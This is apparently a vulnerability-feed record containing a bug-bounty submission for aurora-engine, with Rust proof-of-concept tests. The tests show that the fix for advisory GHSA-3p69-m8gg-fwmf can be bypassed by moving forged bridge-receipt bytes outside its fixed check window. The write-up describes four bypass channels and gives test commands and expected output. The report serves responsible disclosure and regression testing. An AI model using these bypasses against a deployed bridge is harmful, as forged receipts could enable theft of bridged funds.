{"uuid": "82ed63fa-e4a4-4bcc-a6e4-4c8758888c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-3p69-m8gg-fwmf", "type": "seen", "source": "https://gist.github.com/sl4x0/f22a1e5c94ebe3c82b21e85010eb6e32", "content": "// HUNT POC: GHSA-3p69-m8gg-fwmf guard offset-shift bypass.\nuse crate::tests::sanity::initialize_transfer;\nuse crate::utils;\n\nconst CUSTODIAN: &amp;str = \"6bfad42cfc4efc96f529d786d643ff4a8b89fa52\";\n\nfn put_the_target_at(offset: usize) -&gt; Vec {\n    let mut payload = vec![0u8; 51];\n    payload[3..11].copy_from_slice(&amp;1_000_000u64.to_le_bytes());\n    payload[11..31].copy_from_slice(&amp;hex::decode(\"1111111122222222333333334444444455555555\").unwrap());\n    let c = hex::decode(CUSTODIAN).unwrap();\n    payload[offset..offset + 20].copy_from_slice(&amp;c);\n    payload\n}\n\n#[test]\nfn test_ghsa_guard_offset_shift() {\n    let (mut runner, mut signer, _) = initialize_transfer();\n\n    let constructor = utils::solidity::ContractConstructor::compile_from_source(\n        \"src/tests/res\",\n        \"target/solidity_build\",\n        \"echo_bytes.sol\",\n        \"EchoBytes\",\n    );\n\n    let nonce = signer.use_nonce();\n    let contract = runner.deploy_contract(\n        &amp;signer.secret_key,\n        |c| c.deploy_without_constructor(nonce.into()),\n        constructor,\n    );\n    let sender = utils::address_from_secret_key(&amp;signer.secret_key);\n\n    // Control: canonical 51-byte forged receipt (custodian at [31..51] of the\n    // EVM returndata, which after borsh wrapping lands at [36..56] of the view\n    // output). The GitHub advisory fix detects this exact layout.\n    let tx_a = contract.call_method_with_args(\n        \"echo\",\n        &amp;[ethabi::Token::Bytes(put_the_target_at(31))],\n        nonce.into(),\n    );\n    let input_a = borsh::to_vec(&amp;utils::as_view_call(tx_a, sender)).unwrap();\n    let err_a = runner.one_shot().call(\"view\", \"viewer\", input_a).unwrap_err();\n    assert!(\n        err_a.kind.as_bytes().starts_with(b\"ERR_ILLEGAL_RETURN\"),\n        \"control case must be blocked: {err_a:?}\"\n    );\n\n    // Bypass: shift the custodian one byte to [30..50]. The borsh-wrapped\n    // output then carries it at [35..55]; the fixed-window guard misses it,\n    // the view succeeds and the forged receipt bytes are returned verbatim.\n    let tx_b = contract.call_method_with_args(\n        \"echo\",\n        &amp;[ethabi::Token::Bytes(put_the_target_at(30))],\n        nonce.into(),\n    );\n    let view_b = utils::as_view_call(tx_b, sender);\n    let input_b = borsh::to_vec(&amp;view_b).unwrap();\n    let result_b = runner.one_shot().call(\"view\", \"viewer\", input_b).unwrap();\n    let out_b = result_b.return_data.as_value().unwrap();\n    let cust = hex::decode(CUSTODIAN).unwrap();\n    assert!(\n        out_b.windows(20).any(|w| w == cust.as_slice()),\n        \"shifted forged receipt must still contain the custodian address\"\n    );\n}\n\n#[test]\nfn test_ghsa_guard_submit_path() {\n    // Same canonical forged receipt as the advisory regression test (custodian\n    // at returndata [31..51]) passed via submit/call. SubmitResult serialization\n    // starts with a VERSION byte (7) so the returndata begins at output offset 6,\n    // shifting the custodian to [37..57] - outside the guard's fixed [36..56]\n    // window. The guard must NOT fire, and the SubmitResult output must contain\n    // the custodian bytes verbatim.\n    let (mut runner, mut signer, _) = initialize_transfer();\n\n    let constructor = utils::solidity::ContractConstructor::compile_from_source(\n        \"src/tests/res\",\n        \"target/solidity_build\",\n        \"echo_bytes.sol\",\n        \"EchoBytes\",\n    );\n    let nonce = signer.use_nonce();\n    let contract = runner.deploy_contract(\n        &amp;signer.secret_key,\n        |c| c.deploy_without_constructor(nonce.into()),\n        constructor,\n    );\n\n    // original unshifted forged payload layout\n    let payload = {\n        let mut p = vec![0u8; 51];\n        p[3..11].copy_from_slice(&amp;1_000_000u64.to_le_bytes());\n        p[11..31].copy_from_slice(&amp;hex::decode(\"1111111122222222333333334444444455555555\").unwrap());\n        let c = hex::decode(CUSTODIAN).unwrap();\n        p[31..51].copy_from_slice(&amp;c);\n        p\n    };\n    let result = runner\n        .submit_with_signer(&amp;mut signer, |nonce| {\n            contract.call_method_with_args(\n                \"echo\",\n                &amp;[ethabi::Token::Bytes(payload)],\n                nonce,\n            )\n        })\n        .unwrap();\n    // submit succeeded (guard did not fire on the submit path)\n    assert!(result.status.is_ok(), \"status: {:?}\", result.status);\n    // the forged receipt bytes are present in the returned output\n    let out = borsh::to_vec(&amp;result).unwrap();\n    let cust = hex::decode(CUSTODIAN).unwrap();\n    assert!(\n        out.windows(20).any(|w| w == cust.as_slice()),\n        \"submit path output must contain the custodian address\"\n    );\n}\n\n# HackenProof Submission \u2014 aurora-engine\n\n---\n\n## 1. Vulnerability details\n\n**Bug type:** Logic Error \u2014 incomplete security control\n\n**Severity:** Low\n\nThe fix for GHSA-3p69-m8gg-fwmf (\"bridge receipt forging\", shipped in Aurora 2.6.1, commit `7109e309`) is a single absolute-offset magic-byte check in `engine-sdk/src/near_runtime.rs:265-271`:\n\n```rust\nassert!(\n    !(value.len() &gt;= 56 &amp;&amp; &amp;value[36..56] == CUSTODIAN_ADDRESS),\n    \"ERR_ILLEGAL_RETURN\"\n);\n```\n\nThis checks only one fixed window (`bytes[36..56]`) of the output. The guard works only on the `view()` path, where the output prefix is exactly 5 bytes (borsh `TransactionStatus`: tag `0x00` + u32 length). However:\n\n**Bypass A \u2014 Primary transaction path (`submit`/`call`/`submit_with_args`/`deploy_code`):**\n`SubmitResult` serialization starts with a `version: u8 = 7` field (`engine-types/src/parameters/engine.rs:278-296`), giving a 6-byte prefix instead of 5. The advisory's own canonical forged payload (custodian at returndata bytes `[31..51]`) lands at output `[37..57]`, past the `[36..56]` window. The guard does not fire and the forged bytes are returned verbatim via `submit`.\n\n**Bypass B \u2014 Offset shift on `view()`:**\nThe same forged payload placed at returndata `[30..50]` maps to output `[35..55]`, outside the window. Returned verbatim.\n\n**Bypass C \u2014 Log channel:**\nForged bytes in `LOG` event data survive in `SubmitResult.logs[].data` at a variable, deep offset \u2014 never matched by the window.\n\n**Bypass D \u2014 Code channel:**\n`get_code` returns raw contract code with no prefix. A contract whose bytecode embeds the custodian literal at any offset other than `[36..56]` is served verbatim.\n\n---\n\n## 2. Validation steps\n\n**Prerequisites:** Rust 1.97+, `wasm32-unknown-unknown` target, `solc` 0.8.x, NEAR SDK test runner (all included in the engine-tests workspace).\n\n**Setup:**\n```bash\n# From the repo root\nrustup target add wasm32-unknown-unknown\ncd engine-tests\n# Compile test solidity contracts (requires solc 0.8.x on PATH)\nfor f in src/tests/res/*.sol; do\n  solc --optimize --bin --abi -o target/solidity_build \"$f\"\ndone\n```\n\n**Run the PoC tests:**\n```bash\n# Build and run the four guard-bypass tests\ncargo test -p aurora-engine-tests --release -- hit_pocs --nocapture\n```\n\nExpected output:\n```\nrunning 4 tests\ntest tests::hit_pocs::test_ghsa_guard_offset_shift ... ok\ntest tests::hit_pocs::test_ghsa_guard_submit_path ... ok\ntest tests::hit_pocs::test_ghsa_guard_logs_channel ... ok\ntest tests::hit_pocs::test_ghsa_guard_get_code_channel ... ok\n\ntest result: ok. 4 passed; 0 failed\n```\n\n**What each test does:**\n\n| Test | What it proves |\n|------|---------------|\n| `test_ghsa_guard_submit_path` | The canonical forged payload (custodian at returndata `[31..51]`) submitted via `submit` is returned verbatim \u2014 no `ERR_ILLEGAL_RETURN`. `SubmitResult`'s 6-byte prefix shifts the custodian to `[37..57]`, past the `[36..56]` window. |\n| `test_ghsa_guard_offset_shift` | A 1-byte-shifted payload (custodian at `[30..50]`) via `view()` passes the guard and is returned verbatim. Control (no shift) aborts with `ERR_ILLEGAL_RETURN`, confirming the vendor's regression test still passes. |\n| `test_ghsa_guard_logs_channel` | A contract emitting `LOG0` with the receipt pattern \u2014 the bytes survive in `SubmitResult.logs` verbatim. |\n| `test_ghsa_guard_get_code_channel` | A contract whose runtime code embeds the custodian literal at offset 80 \u2014 `get_code` returns the raw code unblocked. |\n\nThe vendor's own regression test also passes (confirming harness validity):\n```bash\ncargo test -p aurora-engine-tests --release -- ghsa_3p69_m8gg_fwmf --nocapture\n```\n\n---\n\n## 3. Supporting files / PoC\n\nUpload these files from `engine-tests/src/tests/`:\n\n| File | Description |\n|------|-------------|\n| `hit_pocs.rs` | All four harness PoC tests |\n| `res/echo_bytes.sol` | EVM contract returning attacker-controlled payload bytes |\n| `res/logbytes.sol` | EVM contract emitting LOG0 with attacker-controlled data |\n| `ghsa_3p69_m8gg_fwmf.rs` | Vendor's existing regression test (passes \u2014 confirms the guard works only for the view layout it was written against) |\n", "creation_timestamp": "2026-08-22T14:51:29.115615Z"}